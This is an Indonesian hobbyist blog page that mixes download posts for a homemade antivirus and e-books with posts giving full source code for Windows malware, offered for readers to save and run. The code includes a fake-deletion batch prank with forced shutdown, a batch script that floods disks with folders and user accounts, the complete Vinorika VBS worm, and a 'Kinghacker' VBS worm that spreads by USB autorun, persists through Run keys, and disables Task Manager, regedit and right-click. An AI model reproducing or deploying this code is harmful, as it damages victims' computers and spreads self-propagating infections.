kinG-fiLes

Ini nih kembangan dari KingHacker Antivirus versi terdahulu..

Mengapa diganti nama menjadi kHAVI??

Karena teknologi yang digunakan sudah berbeda,,
teknologi kHAVI sudah menggunakan MD 5 (Message-Digest Alghorithm 5)
dan sudah meninggalkan CRC32 (Cyclic Redundancy Check 32) yang dirasa kurang mampu untuk membasmi virus-virus yang sudah bisa mengganti crc-nya sendiri.. ^^

Bagi yang ingin merasakan dahsyatnya kHAVI Oereone 2.0.0,,
bisa klik disini

Nah,, ini baru bisa.. Antivirus ini sudah bisa jalan,, mudah-mudahan aja bisa detect virus-virus lokal yang merupakan tangan-tangan jahil orang Indonesia,, hhehehe... ^^..

Ya udah deh.. Ini aku kasih linknya..


Download link

Ini adalah salah satu contoh script virus yang bisa dibilang cukup unik..
Karena setelah si penerima menerima virus ini,, dia pasti akan menyangka bahwa komputernya itu terkena virus Trojan..

Ini dia scriptnya:

echo off
echo Do you want to delete C://WINDOWS ? (Y/N)
pause >nul

dir /s

dir/s

echo All files deleted.
pause

msg * WINDOWS has encountered a problem and needs to close.

shutdown -s -t 30 -c "Windows file write delayed. Unable to locate system.exe


Kemudian simpan dengan nama KinghackerShutdown.bat
NB: Jika anda ingin tidak Shutdown lagi maka di Start-Run ketik: shutdown-1

Nie virus keren banget,, bisa mematikan semua server yang terhubung dalam satu jaringan..
Langsung aja yah..

Ketik teks dibawah ini pada Notepad:

@ECHO OFF
@ECHO A KINGHACKER PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET king=1
GOTO flood1
:flood1
MKDIR king%king%
SET /a king=%king%+1
GOTO flood1

Kemudian simpan dengan nama kinghacker.bat

Virus vinorika ini aku dapat dari virologi.info .. Kalau aku pikir sih ini berbahaya juga(ya iyalah wong namanya virus)..
Keunikan virus Vinorika adalah:
1.Memanfaatkan file-file shortcut untuk pengeksekusian
2.Sedikit berbeda dengan virus vbs lain.
3.Induk-nya hampir tidak memanfaatkan file ”.vbs” (malah hanya menggunakan file ”.db” dan ”.inf” dan ”.lnk”)
4. Terenkrip!

Virus ini terbagi menjadi dua
Bagian pertama isinya sebagai berikut:

'============================
' Vinorika Go to Kediri....
' Capek dhe!!
' Kupersembahkan Sebagai permintaan maafQ bwt Vinurika Rahmania yg ada di Kediri....
' Hanya ini yang bisa Qlakukan.... tapi klo pean masih gk bisa maafin AQ ya mw gmana lgi.. he he!
'
'============================
On Error Resume Next
Dim fso, ws
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
Q=WScript.ScriptFullName
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
If status="auto" Then
sh.Explore Left(WScript.ScriptFullName,3)
Else
status=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))+status
If fso.FolderExists(status) Then
sh.Explore status
Else
fso.CreateFolder status
sh.Explore status
End If
End If
Else
End If
Set QQ=fso.GetFile(Q)
Set Q1=QQ.OpenAsTextStream(1,0)
isiQ=Q1.Read(QQ.Size)
Q1.close
t1=InStr(1,isiQ,"Vinorika~!~2008"+" >>>",0)+18
isiQ=Right(isiQ,Len(isiQ)-t1)
hsl=""
For v=1 To Len(isiQ)
t=Asc(Mid(isiQ,v,1))
hsl=hsl+Chr(t Xor 5)
Next
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
Set temporary=fso.OpenTextFile(tmpt,2,True,0)
temporary.Write hsl
temporary.Close
ws.Run "WScript.exe //e:VBScript "+tmpt+" """+Q+""""

’------------berakhir disini---------

Tapi jujur, kalau aku pelajari virusnya ini sebenarnya simpel, dan mungkin kita bisa membuat tiruan ulang dengan memodifikasi virus dibawah ini

Bagian kedua isinya sebagai berikut:

' Vinorika~!~
' send me an email to : Vinue_2007@yahoo.co.id
' Maafin Aq...Vinue
'=======================================================
On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Set sh = CreateObject("Shell.application")
Set net = CreateObject("wscript.network")
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+"\"+tn
docx=ws.SpecialFolders("MyDocuments")

Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
End If
if fso.fileexists(tmp+"\zvnita.ira") then
set ira=fso.getfile(tmp+"\zvnita.ira")
ira.attributes=0
ira.name="shalihah.ira"
if ira.name="shalihah.ira" then
ira.name="zvnita.ira"
set ira=fso.opentextfile(tmp+"\zvnita.ira",2,true)
else
fly=true
end if
else
set ira=fso.opentextfile(tmp+"\zvnita.ira",2,true)
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+"\auto.exe"
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0

Set aut=fso.OpenTextFile(tmp+an,2,True,0)
isi="[autorun]>open=WScript.exe //e:VBScript thumb.db auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript thumb.db auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript thumb.db auto"
isi=Replace(isi,">",vbCrLf)
aut.Write isi
aut.Close
auto.Attributes=39

ltkc=sh.Namespace(&H1c&).Self.path + "\Microsoft\CD Burning"
if fso.folderexists(ltkc) then
AQ.Copy ltkc+"\thumb.db",True
auto.Copy ltkc+"\autorun.inf",True
If fso.FileExists(docx+"\database.mdb") Then fso.GetFile(docx+"\database.mdb").Attributes=0
AQ.Copy docx+"\database.mdb",True
end if
regQ
Set rara=UNISKA

Hertz False
If Day(Now)3 Then rekursif docx,1 Else rekursif docx,3

call attack_net
Hertz True

Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+"\").SubFolders
rekursif fldr1.Path, dp-1
Next
End If
End Sub

Sub dropf(path)
On Error Resume Next
if day(now)=17 and month(now)=1 then
rara.copy path+"\Maafin AQ Vinurika Rahmania^_^!.rtf"
for pp=1 to 100
rara.copy path+"\Maafin A_Q Vivi.." & pp & ".xls"
rara.copy path+"\MaafinQ y Uplix.." & pp & ".htm"
rara.copy path+"\Maafin Aku Vee.." & pp & ".jpg"
rara.copy path+"\Sorry Vinue.." & pp & ".mp3"
wscript.sleep 500
next
rara.copy path+"\Vinorika.rtf"
end if

g1=path+"\autorun.inf"
g2=path+"\Thumb.db"
If fso.FileExists(g1) Then
Set g11=fso.GetFile(g1)
If g11.Attributes39 Then
g11.Attributes=0
auto.Copy path+"\autorun.inf",True
end if
else
auto.Copy path+"\autorun.inf",True
end if


If fso.FileExists(g2) Then
Set g12=fso.GetFile(g2)
If g12.Attributes39 Then
g12.Attributes=0
AQ.Copy path+"\Thumb.db",True
end if
else
AQ.Copy path+"\Thumb.db",True
End If

If Not fso.FileExists(path+"\Microsoft.lnk") Then
shorZvnita path+"\Microsoft","Microsoft"
drop=Array("New Harry Potter and...","New Folder","SuratQ","Zanya Zulkarnaen","Game","Zvnita ir4","Download","DataQ","Kediri")
ww=1
For Each d In drop
If Day(now) Mod 3 = ww Then shorZvnita path+"\"+d,d
wscript.sleep 60
ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+"\").SubFolders
shorZvnita path+"\"+"Shortcut to "+fldr.name+".lnk",fldr.Name
wscript.sleep 60
If r>3 Then
Exit For
End if
r=r+1
Next
End If
End Sub

Sub shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(path+".lnk")
shor.iconlocation="shell32.dll,3"
shor.targetpath="wscript.exe"
shor.arguments="//e:VBScript thumb.db """+trgt+""""
shor.save
End Sub

function attack_net()
On Error Resume Next
err.clear
Set objFolder = sh.Namespace(&H13&)
Set colItems = objFolder.Items
For Each strFileName in objFolder.Items
t= objFolder.GetDetailsOf(strFileName, 14)
if err.number>0 then
exit function
end if
rekursif t,4
Next
End function

Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub

function UNISKA()
On error resume next
x=vbcrlf
adv="Aztig Present^_^!>>Bukan dari tulang ubun ia dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak juga dari tulang kaki>karna nista membuatnya diinjak dan diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar Bidadari Cemburu Padamu)>>>""Janganlah kamu bersikap lemah, dan janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang yang paling tinggi (derajatnya), jika kamu orang-orang yang beriman."">(QS. Ali Imran:139)>>>Katakanlah kepada orang laki-laki yang beriman: ""Hendaklah mereka menahan pandanganya, >dan memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka, >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat."" (QS. An Nur:30)>>Katakanlah kepada wanita yang beriman: ""Hendaklah mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya. Dan hendaklah mereka menutupkan kain kudung >kedadanya...."" (QS. An Nur:30)>>sampaikan salam maafQ bwt: Vinurika Rahmania..[@_@]>The Repvblik maker Return in Kediri 2008>vinue_2007@yahoo.co.id"
adv=replace(adv,">",x)
set vivi=fso.opentextfile(tmp+"\v.doc",2,true)
vivi.write adv
vivi.close
set UNISKA=fso.getfile(tmp+"\v.doc")
end function

Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\", "Betapa indahnya kalian, andai berjilbab spertiQ...(Vinorika)^_^!"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\","shell32.dll,48"
ws.RegWrite "HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes",0,"REG_DWORD"
ws.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\",""
end if
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Explorer","Wscript.exe //e:VBScript "+docx+"\database.mdb"
End Sub

Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub

’----------- berakhir disini-------------

Kalau kalian cuma merename file induk virus mungkin source diatas gak mungkin bisa kalian temukan.
Morphost yang baru(Morphost Accord) mampu mendeteksi virus vinorika hanya dengan satu string..
Cara memberantasnya akan aku beritahu pada postingan selanjutnya..

WOW!!
Akhirnya jadi juga antivirus ini.. (fiuuhh~) Meskipun sederhana, tapi bisa "membunuh" virus-virus lokal kaya Brontok..
Tapi karena masih dalam tahap pengembangan, yaa maklum llah kalau masih ada sedikit(banyak kalee..) yang error..
Emmm,, gapapa lah..^^ sebarin aja dulu biar mantap sekalian..
Kenapa saya namakan KingHacker?? Karena yang buat juga pembuat virus (hhehe..)
Ya udah deh ni aku kasih linknya.. Met download!!


Download link

Apakah Visual Basic(VB) itu?
Ya,, Visual Basic adalah program yang dibuat oleh Microsoft Corp. untuk membuat suatu program sesuai dengan kebutuhan kita..
Apakah kita bisa membuat file-file yang berbahaya dengan VB?
Bagaimana caranya..??

Temukan jawabannya di ebook ini!


Download link

Jika anda ingin mengetahui bagaimana cara membuat virus yang sederhana tetapi MEMATIKAN, inilah saatnya anda beraksi.. (JANGAN SEKALI-KALI MENGERJAI TEMAN/ORANG LAIN DENGAN VIRUS INI!!). Simpan dengan file berekstensi .vbs pada notepad..


‘//-WARNING!!VIRUS INI SANGAT BERBAHAYA!!!!!!!(on level 3)-//

‘//-Awal dari kode, diset agar ketika terjadi Error dibiarkan dan kemudian
lanjutkan kegiatan virus-//

on error resume next

‘//-Awal dim-//

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

‘//-Membentuk sebuah teks yang nantinya akan dibuat untuk
Autorun Setup Information-//

atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe Kinghacker.exe.vbs”

set fs = createobject(”Scripting.FileSystemObject”)

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource&text.readline

mysource=mysource & vbcrlf

loop

do

‘//-Copy diri untuk menjadi file induk di Windows Path
(contoh: C:\Windows)-//

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & “\Kinghacker.exe.vbs”)

tf.attributes = 32

set tf=fs.createtextfile(winpath & “\Kinghacker.exe.vbs”,2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & “\Kinghacker.exe.vbs”)

tf.attributes = 39

‘//-Buat Atorun.inf untuk menjalankan virus otomatis
setiap flash disk terhubung-//

‘//-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//

for each flashdrive in fs.drives

‘//-Cek Drive-//

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path
“A:” then

‘//-Buat Infector jika ternyata Drivetype 1 atau 2. Atau
A:\-//

set tf=fs.getfile(flashdrive.path &”\kinghacker.exe.vbs”)

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &”\kinghacker.exe.vbs”,2,true)

tf.write mysource

tf.close

set tf=fs.getfile(flashdrive.path &”\jeremy_valentino.exe.vbs”)

tf.attributes =39

‘//-Buat Atorun.inf yang teks-nya tadi sudah disiapkan
(Auto Setup Information)-//

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)

tf.write atr

tf.close

set tf =fs.getfile(flashdrive.path &”\autorun.inf”)

tf.attributes=39

end if

next

‘//-Memanipulasi(Manip) Registry-//

set rg = createobject(”WScript.Shell”)

‘//-Manip – Mengubah Title Internet Explorer menjadi KINGFILES - THE VIRUS-//

rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window
Title”,” KINGFILES - THE VIRUS “

‘//-Manip – Set agar file hidden tidak ditampilkan di
Explorer-//

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“0”, “REG_DWORD”

‘//-Manip – Hilangkan menu Search, Folder Options, Run, dan
memblokir Regedit dan Task Manager-//

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1”, “REG_DWORD”

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1”, “REG_DWORD”

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1”, “REG_DWORD”

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1”, “REG_DWORD”

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1”, “REG_DWORD”

‘//-Manip – Disable klik kanan-//

rg.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”,
“1”, “REG_DWORD”

‘//-Manip – Munculkan Pesan Setiap Windows Startup-//

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Smile worm. Variant from Kinghacker, don’t be panic all data are safe.“

rg.regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “SISTEM INI TELAH DILEMAHKAN
!!! MAKA BERDOALAH AGAR TIDAK TERJADI“

‘//-Manip – Aktif setiap Windows Startup-//

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”,
winpath & “\batch- Kinghacker.exe.vbs “

‘//-Manip – Ubah RegisteredOwner dan Organization-//

rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Kinghacker”

rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”,”kinghacker”

‘//-Manip – Membuat Cadangan di sistem svchost, MS32Dll
dan membuat ikon-//

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\Kinghacker.exe.vbs”

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””

rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”

‘//-Manip – Me-Log off komputer setelah log on (BISA
DIHAPUS UNTUK MELIHAT EFEKNYA!)-//

rg.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Logoff”,
winpath & “\System32\Logoff.exe”

‘//-Fungsi di untuk mengaktifkan kembali script dan
mengulangnya kembali-//

if check 1 then

Wscript.sleep 100000

end if

loop while check1

set sd = createobject(”Wscript.shell”)

sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2009

WScript.sleep 20000

‘//-Memunculkan pesan window terus menerus-//

msgbox “Terimakasih Anda telah mencoba Virus ini” & vbcrlf & _

“Sekali lagi maaf kalau ada kesalahan yang telah kami perbuat” & vbcrlf &
_

“Don't panic, semua tidak akan kukuasai sendiri dirimu oh komputer..” & vbcrlf & _

“Dan apa yang telah kita lalui bersama, akan terkenang untuk selamanya..” & vbcrlf & _

vbcrlf & vbcrlf & _

” Semua yang engkau impikan akan terwujud” & vbcrlf & vbcrlf & _

” Dan detik ini pun jagalah hati, pikiran, dan kelakuanmu,, oh komputerku..“

‘//-Mengulang semua script-//

loop
‘//Selesai sudah, beri nama kinghacker.exe.vbs-//


[Skrip yang berwarna hijau boleh ditulis, boleh tidak ditulis]

Nah,, itu tadi script virus kinghacker.. Sebaiknya jangan dilakukan di komputer teman atau orang lain..
Jika ingin mencoba, anda harus siap-siap untuk mengeluarkan biaya untuk membenahi komputer anda..

OK,, sekian dulu yah! Enjoy it!!

Cara mendapatkan uang dari internet selain melalui PTC adalah melalui AdSense..
Hmm,, apakah AdSense bisa kita percaya??
Bagaimana cara kerja AdSense itu??

Temukan jawabannya di dalam ebook ini!


Download link

Dalam membuat sebuah website ada beberapa hal yang perlu Anda persiapkan sebelum Anda memulainya.

Pertama, Anda bisa mengajukan sebuah pertanyaan kepada diri Anda sendiri yaitu “Apa tujuan Saya membuat website?” dengan menjawab pertanyaan tersebut dapat mengarahkan pikiran Anda untuk menentukan dan menjawab pertanyaan selanjutnya yaitu, “Website seperti apa yang akan saya buat untuk mencapai tujuan tersebut dan bagaimana cara membuat websitenya.”

Mengapa dimulai dengan mengajukan pertanyaan tersebut? Karena diharapkan nantinya website yang kita buat sesuai dengan yang kita inginkan dan bisa membawa kita mencapai tujuan yang kita inginkan dalam membuat website. Jangan sampai website sudah selesai Anda buat tetapi website yang Anda buat tidak sesuai dan tidak bisa menjadi media atau sarana untuk mencapai tujuan Anda.

Perlu Anda ketahui, jenis website itu bermacam-macam, ada yang hanya satu halaman sederhana saja seperti website ini, ada yang memuat beberapa halaman seperti website perusahaan, ada yang menggunakan sistem blog dan sering disebut juga blog atau weblog (website blog), ada yang menggunakan sistem CMS (Content Management System) seperti joomla, ada yang berupa forum diskusi, ada yang berupa website iklan baris, ada yang berupa website toko online dan ada yang lebih kompleks lagi seperti website komunitas friendster.

Anda perlu memulainya dengan menjawab pertanyaan-pertanyaan tersebut sebelum Anda membuat website. Sehingga nanti Anda bisa memutuskan website seperti apa yang paling cocok dan sesuai untuk mencapai tujuan Anda. Karena masing-masing jenis website yang saya sampaikan diatas memiliki fungsi yang berbeda-beda.

Contoh bila Anda ingin menjual berbagai macam produk, Anda membuat website toko online; bila Anda ingin menjual satu jenis produk saja bisa dengan satu halaman sederhana saja atau lengkap dengan menggunakan sistem pemesanannya; bila Anda ingin membuat website portal Anda bisa menggunakan Joomla; bila Anda ingin membangun branding dan mempublikasikan artikel bisa menggunakan blog; dan lain-lainnya.

Jadi bisa saya rangkumkan 3 pertanyaan tersebut yaitu:
• Apa tujuan Saya membuat website?
• Website seperti apa yang akan saya buat untuk mencapai tujuan tersebut?
• Bagaimana cara membuat website tersebut?

Anda bisa mendownload tutorialnya lebih lanjut dalam bentuk file pdf.


Download link

Search Engine adalah hal yang sangat penting dalam seluruh pengguna internet..
Maka dari itu, banyak orang yang menggunakan Search Engine seperti Google untuk mencari file-file yang penting..
Apa saja yang bisa kita dapat dari Search Engine tersebut?

Temukan jawabannya hanya di ebook ini!


Download link

Biasanya semua orang ingin bisa mendapatkan uang tanpa bermodalkan apapun..
Hmmph.. Itu hanya bisa dilalui dengn PPC/PTC..

Apakah itu PPC/PTC?
Bagaimana cara mendapatkan penghasilan tanpa bermodalkan apapun?

Temukan jawabannya di ebook ini!




Download link

Terkadang kita bingung karena keinginan untuk membuat blog/website dengan gratis..
Kita masih harus mencari informasi kesana kemari untuk dapat membuat suatu blog/website..
Apakah kita bisa mewujudkannya..?
Apakah kita bisa mengelola blog/website tersebut dengan baik..?


Temukan solusinya di dalam ebook ini!


Download link